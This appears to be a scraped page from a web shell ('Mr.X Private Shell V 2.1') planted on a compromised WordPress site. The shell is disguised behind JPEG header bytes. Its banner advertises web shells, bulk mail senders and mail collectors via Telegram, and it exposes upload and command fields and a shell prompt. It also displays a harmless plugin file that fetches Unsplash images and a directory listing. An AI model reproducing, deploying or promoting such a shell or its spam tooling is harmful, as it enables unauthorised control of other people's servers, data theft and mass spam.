����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
import { AI_HOST } from '@constants';
import { useAIConsentStore } from '@shared/state/ai-consent';
import { useUnsplashCacheStore } from '@shared/state/unsplash-cache';

const { showAIConsent, userGaveConsent } = useAIConsentStore.getState();

// Additional data to send with requests
const allowList = [
	'siteId',
	'partnerId',
	'wpVersion',
	'wpLanguage',
	'devbuild',
	'isBlockTheme',
	'userId',
	'siteProfile',
];

const extraBody = {
	...Object.fromEntries(
		Object.entries(window.extSharedData).filter(([key]) =>
			allowList.includes(key),
		),
	),
	showAIConsent,
	userGaveConsent,
};

export const fetchImages = async (search, source = null) => {
	const queryString = new URLSearchParams({
		...extraBody,
		query: search,
		source,
	});

	const res = await fetch(
		`${AI_HOST}/api/draft/image/unsplash?${queryString.toString()}`,
		{
			method: 'GET',
			headers: { 'Content-Type': 'application/json' },
		},
	);

	if (!res.ok) {
		throw new Error('Bad response from server');
	}

	const images = await res.json();

	if (!Array.isArray(images)) {
		throw new Error('Bad response from server');
	}

	const result = images.map((image) => ({
		...image,
		requestMetadata: {
			id: res.headers.get('X-Request-Id'),
			total: res.headers.get('X-Total'),
			perPage: res.headers.get('X-Per-Page'),
		},
	}));

	return result;
};

export const preFetchImages = async () => {
	const cache = useUnsplashCacheStore.getState();
	if (!cache.isEmpty() && !cache.hasExpired()) {
		return cache.images;
	}

	const { imageSearchTerms } = window.extSharedData?.siteProfile ?? {};
	const queries = imageSearchTerms?.length ? imageSearchTerms : [];
	const images = (
		await Promise.all(queries.map((query) => fetchImages(query, 'prefetch')))
	).flat();

	const uniqueImagesMap = images.reduce((acc, image) => {
		if (!acc.has(image.id)) {
			acc.set(image.id, image);
		}
		return acc;
	}, new Map());
	cache.updateCache(Array.from(uniqueImagesMap.values()));

	return images;
};

Filemanager

Name Type Size Permission Actions
api-fetch.js File 346 B 0644
data.js File 341 B 0644
dom.js File 254 B 0644
embedded-guard.js File 669 B 0644
media-views.js File 1.97 KB 0644
pages.js File 16.27 KB 0644
parsing.js File 206 B 0644
track.js File 713 B 0644
unsplash.js File 1.93 KB 0644
utils.js File 1.72 KB 0644
variant-classes.js File 4.72 KB 0644
wp.js File 499 B 0644